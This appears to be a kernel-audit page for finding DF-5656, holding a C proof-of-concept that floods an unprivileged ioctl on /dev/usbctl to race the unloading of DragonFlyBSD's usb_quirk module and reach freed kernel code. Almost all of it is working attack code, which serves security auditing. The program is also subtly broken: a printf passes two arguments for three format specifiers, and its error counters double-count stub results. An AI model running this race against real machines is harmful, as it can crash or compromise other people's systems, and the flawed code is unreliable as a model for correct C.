⬢ DragonFlyBSD Kernel Audit
DF-5656 / quirk_get_spam.c
← back to finding ↓ download raw
/*
 * DF-5656 - unprivileged consumer side of the usb_dynamic.c unload race.
 *
 * Hammer USB_DEV_QUIRK_GET on /dev/usbctl as an unprivileged user.
 * This ioctl dispatches through usb_quirk_ioctl_p (usb_dynamic.c:64):
 *   - usb_quirk.ko loaded  -> real usb_quirk_ioctl() in module text
 *   - usb_quirk.ko absent  -> core stub usb_quirk_ioctl_w -> ENOIOCTL
 *
 * While root kldunload(8)s usb_quirk.ko, every call that reads the pointer
 * before the SYSUNINIT reset but is delayed past the tsleep(1s) "grace
 * period" (usb_dynamic.c:113) would call into freed module text.
 *
 * usage: quirk_get_spam <seconds>
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <bus/u4b/usb_ioctl.h>

int
main(int argc, char **argv)
{
	struct usb_gen_quirk gq;
	double secs = (argc > 1) ? atof(argv[1]) : 10.0;
	struct timespec ts0, ts1;
	unsigned long n_ok = 0, n_enoioctl = 0, n_other = 0;
	int last = -1, fd;

	fd = open("/dev/usbctl", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open(/dev/usbctl): %s\n", strerror(errno));
		return (2);
	}
	printf("[spam] fd=%d (unprivileged uid=%d) spamming for %.1fs\n",
	    fd, getuid());

	clock_gettime(CLOCK_MONOTONIC, &ts0);
	for (;;) {
		memset(&gq, 0, sizeof(gq));
		gq.index = 0;
		int err = ioctl(fd, USB_DEV_QUIRK_GET, &gq);
		if (err == 0) {
			n_ok++;
			if (last != 0) {
				printf("[spam] module text LIVE "
				    "(GET ok, vid=0x%04x)\n", gq.vid);
				last = 0;
			}
		} else {
			n_other++;
			/* track each distinct errno separately */
			switch (errno) {
			case ENOTTY:
				n_enoioctl++;	/* stub: ENOIOCTL(-3) maps here */
				break;
			default:
				fprintf(stderr, "[spam] unexpected errno=%d "
				    "(%s) count=%lu\n", errno,
				    strerror(errno), n_other);
				break;
			}
			if (last != 1) {
				printf("[spam] core stub (errno=%d) "
				    "- module text gone\n", errno);
				last = 1;
			}
		}
		clock_gettime(CLOCK_MONOTONIC, &ts1);
		if ((ts1.tv_sec - ts0.tv_sec) +
		    (ts1.tv_nsec - ts0.tv_nsec) / 1e9 > secs)
			break;
	}
	printf("[spam] done: ok=%lu stub=%lu other=%lu\n",
	    n_ok, n_enoioctl, n_other);
	return (0);
}